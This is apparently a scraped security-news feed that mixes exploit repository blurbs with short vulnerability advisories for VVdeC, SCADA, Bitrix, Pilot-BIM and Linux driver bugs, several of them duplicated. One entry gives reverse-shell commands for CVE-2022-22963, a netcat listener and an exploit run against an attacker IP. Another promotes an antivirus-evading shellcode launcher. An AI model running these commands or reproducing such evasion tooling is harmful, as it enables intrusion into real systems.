xunruicms-ssti-CNVD-2026-22278

XunRuiCMS SSTI Remote Code Execution Vulnerability PoC CNVD...

charlotte

charlotte c++ fully undetected shellcode launcher ; releasing this to celebrate the birth of my newborn description 13/05/2021: 1. c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021. 2. dynamic invoking of win32 api functions 3. XOR encryption of shellcode and function names 4...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-229...

professional-services

专业服务 由 Google Cloud 的专业服务团队开发的常见解决方案与工具。 免责声明 本仓库及其内容并非 Google 官方支持的产品。 许可证 本仓库中的所有解决方案均依据 Apache 2.0 许可证提供。有关更详细的条款与条件，请参阅 LICENSE 文件。 示例 examples 文件夹包含覆盖多种 Google Cloud Platform 产品的示例解决方案。您可以将这些解决方案作为参考，也可以对它们进行扩展以适配您的特定使用场景。 Anthos Service Mesh Multi-Cluster - 使用 Anthos Service Mesh 联合两个私有 GKE...

domato

Domato 🍅 DOM ファザー 作者およびメンテナー: Ivan Fratric、[email protected] Copyright 2017 Google Inc. All Rights Reserved. Apache License、Version 2.0（以下「本ライセンス」）に基づいてライセンスされています。 本ライセンスに準拠する場合を除き、本ファイルを使用することはできません。 本ライセンスのコピーは、次の場所から入手できます。 http://www.apache.org/licenses/LICENSE-2.0...

The vulnerability of the reconstructCoeff function in the vvdecapp decoder (VVdeC) lies in the use of memory after deallocation during the processing of specially created VVC streams. This allows a hacker to cause a service failure or execute arbitrary code.

The vulnerability of the reconstructCoeff function in the vvdecapp VVdeC decoder is related to the use of memory after it is freed during the processing of specially created VVC streams. Exploiting this vulnerability can allow a hacker to cause a service failure or execute arbitrary code...

The vulnerability of the reconstructCoeff function in the vvdecapp decoder (VVdeC) lies in the use of memory after deallocation during the processing of specially created VVC streams. This allows a hacker to cause a service failure or execute arbitrary code.

The vulnerability of the reconstructCoeff function in the vvdecapp VVdeC decoder is related to the use of memory after it is freed during the processing of specially created VVC streams. Exploiting this vulnerability can allow a hacker to cause a service failure or execute arbitrary code...

The vulnerability of the setBufferingPeriodSEI function in the vvdecapp component (VVdeC), which relates to reading beyond the buffer, allows a hacker to trigger a service failure or gain access to protected information.

The vulnerability of the setBufferingPeriodSEI function in the vvdecapp VVdeC component is related to reading data beyond the buffer’s capacity. Exploiting this vulnerability could allow an attacker to cause a service failure or gain access to protected information...

The vulnerability of the reconstructCoeff function in the vvdecapp decoder (VVdeC) lies in the use of memory after deallocation during the processing of specially created VVC streams. This allows a hacker to cause a service failure or execute arbitrary code.

The vulnerability of the reconstructCoeff function in the vvdecapp VVdeC decoder is related to the use of memory after it is freed during the processing of specially created VVC streams. Exploiting this vulnerability can allow a hacker to cause a service failure or execute arbitrary code...

The vulnerability of the reconstructCoeff function in the vvdecapp decoder (VVdeC) allows a hacker to cause a service failure or execute arbitrary code.

The vulnerability of the reconstructCoeff function in the vvdecapp VVdeC decoder is related to the use of memory after deallocation when processing specially created VVC streams. Exploiting this vulnerability can allow an attacker to cause a service failure or execute arbitrary code...

The vulnerability of the readAlf function in the vvdecapp (VVdeC) decoder allows a hacker to cause a service failure or execute arbitrary code.

The vulnerability of the readAlf function in the vvdecapp VVdeC decoder lies in the use of memory after it is freed during the processing of specially created VVC streams. Exploiting this vulnerability can allow an attacker to cause a service failure or execute arbitrary code...

The vulnerability of the `createSubPicRefBufs` function in the vvdecapp (VVdeC) decoder allows a hacker to trigger a service failure or execute arbitrary code.

The vulnerability of the createSubPicRefBufs function in the vvdecapp VVdeC decoder lies in the use of memory after it is freed during the processing of specially created VVC streams. Exploiting this vulnerability can allow an attacker to cause a service failure or execute arbitrary code...

The vulnerability of the software interface (REST API) of the GEO.RITM software lies in the lack of authentication when accessing the function for retrieving object attributes. This allows attackers to gain unauthorized access to confidential information.

The vulnerability of the software interface REST API of the GEO.RITM software lies in the lack of authentication when accessing the function for retrieving object attributes. Exploiting this vulnerability could allow a malicious actor to gain unauthorized access to confidential information...

Vulnerability of the “KOMTEK Cassa Kurier” module of the 1C-Bitrix content management system: Website management related to the lack of authentication for critical functions, allowing attackers to compromise the integrity and accessibility of protected information

Vulnerability of the “KOMTEK Cassa Kurier” module of the 1C-Bitrix content management system: Website management is associated with the absence of authentication for a critical function. Exploitation of this vulnerability may allow an attacker to compromise the integrity and accessibility of...

The vulnerability of the Ascon.Pilot.WinService component in the Pilot-BIM data management system, which stems from the lack of authentication for a critical function, allows attackers to compromise the confidentiality, integrity, and accessibility of the protected information.

The vulnerability of the Ascon.Pilot.WinService component in the Pilot-BIM data management system is related to the lack of authentication for a critical function. Exploiting this vulnerability allows an attacker operating remotely to compromise the confidentiality, integrity, and accessibility o...

The vulnerability of the Ascon.Pilot.WinService component in the Pilot-BIM data management system, which stems from the lack of authentication for a critical function, allows attackers to execute arbitrary code.

The vulnerability of the Ascon.Pilot.WinService component in the Pilot-BIM data management system is related to the lack of authentication for a critical function. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

The vulnerability of the Enlogic SCADA system “ENTEK” virtual controller, related to the use of a dangerous method or function that allows a intruder to execute arbitrary code in the operating system.

The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to the use of a dangerous method or function. Exploiting this vulnerability could allow a malicious actor to execute arbitrary code in the operating system remotely...

The vulnerability of the MmMapIoSpace() function in the ThrottleBlood.sys driver allows a hacker to escalate their privileges, execute arbitrary code, or cause a service failure.

The vulnerability of the MmMapIoSpace function in the ThrottleBlood.sys driver, as part of the ThrottleStop utility, is related to open IOCTLs with insufficient access control. Exploiting this vulnerability could allow an attacker to enhance their privileges, execute arbitrary code, or cause...

The vulnerability of the aiptekirq() function in the drivers/input/tablet/aiptek.c module of the Linux kernel allows a hacker to cause a service failure.

The vulnerability of the aiptekirq function in the drivers/input/tablet/aiptek.c module of the Linux kernel is related to the lack of data validation for data received in interrupt packets from potentially compromised USB devices. Exploiting this vulnerability could allow an attacker to cause...

web3-decoder

Web3 Decoder Web3 Decoder は、ブロックチェーン操作とスマートコントラクトのやり取りを分析するために設計された Burp Suite 拡張機能です。Ethereum および互換性のあるネットワーク（Polygon、Arbitrum、BSC など）への JSON-RPC 呼び出しを処理します。 ブロックエクスプローラー API キー etherscan.io など、サポートされているほとんどのブロックエクスプローラーでは、5 秒間に 1 回以上のリクエストを許可するために API キーが必要です。 API キーを追加するには 2 つのオプションがあります:...